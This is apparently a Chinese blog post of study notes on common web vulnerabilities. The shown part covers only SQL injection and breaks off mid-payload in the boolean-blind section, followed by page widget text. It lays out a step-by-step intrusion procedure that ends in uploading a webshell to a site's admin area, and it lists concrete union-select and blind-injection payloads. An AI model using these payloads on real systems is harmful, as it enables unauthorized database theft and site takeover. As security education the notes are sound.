常见漏洞原理简介

本文详细介绍了各种常见的Web安全漏洞,包括SQL注入、文件上传、解析漏洞、文件包含、XSS攻击和CSRF等。针对每种漏洞,讲解了其原理、攻击手法及如何利用,同时提供了相应的防御措施,如输入过滤、输出编码、HTTPOnly Cookie和WAF等。了解这些漏洞有助于提高Web应用的安全性。
摘要由CSDN通过智能技术生成

       今天复习上个月学的漏洞的知识点。

一、SQL注入漏洞

       sql注入是就是通过把SQL语句插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

       理解这张图就可以理解sql注入的原理,因为在mysql数据库中存在一个Information_schema数据库,这个数据库里面存在两张表。一个是tables表,里面存有所有的表名和数据库名;另一个是columns表,里面存有所有的字段名,字段所属的表名,字段所属的库名。第一步我们查找数据库名,第二步我们通过查找tables表里的数据库,可以确定表名,第三步我们通过前两步得到的库名和表名就可以在columns这张表中得到字段名,最后一步我们通过前几步得到的数据库名、表名、字段名得到想要的数据。

在这里插入图片描述


       如何通过进行sql注入,进后台?

              1、找注入点,判断是否可以注入。

              2、判断是数字型注入还是字符型注入。and 1=1 ;and 1=2

              3、如果是字符型注入,判断闭合符。’ " ') ") …

              4、优先使用联合查询注入->报错查询 ->bool型查询 ->时间盲注 ->宽字节

              5、判断列数。 order by

              6、判断显错位。 union select 1,2,3, …

              7、求库、求表、求字段、求数据。

              8、找后台,御剑扫后台目录。

              9、上传一句话木马。菜刀,蚁剑连接

1、数字型注入

	id=1'   //报错,说明有注入点
	id=1 and 1=1  //正确
	id=1 and 1=2  //错误,说明是数字型注入,否者为字符型注入

	order by  //判断列数
	and 1=2 union select 1,2,3, ...   //判断显错位
	and 1=2 union select 1,2,database()   //求库
	and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'   //求表
	and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'   //求字段
	and 1=2 union select 1,2,group_concat(字段名,字段名...) from 数据库.表名   //求数据

2、字符型注入(每句话的后面需要加--+)
	id=1'   //报错,说明有注入点
	id=1’ and '1'='1  //正确
	id=1'  and '1'='2  //错误,说明是字符型注入

	order by  //判断列数
	and 1=2 union select 1,2,3, ...   //判断显错位
	and 1=2 union select 1,2,database()   //求库
	and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'   //求表
	and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'   //求字段
	and 1=2 union select 1,2,group_concat(字段名,字段名...) from 数据库.表名   //求数据

3bool盲注入
	首先是判断是数字型还是字符型注入,在得到页面只返回TrueFalse两种类型页面。利用页面返回不同,逐个猜解数据,那么我们可以判断这是一个布尔型盲注。
	
	and (select length(database()))=8  //求库名长度,
	and (select ascii(substr(database(),1,1)))=98  //求库名,求八次
	and ascii(substr(
  • 13
    点赞
  • 111
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值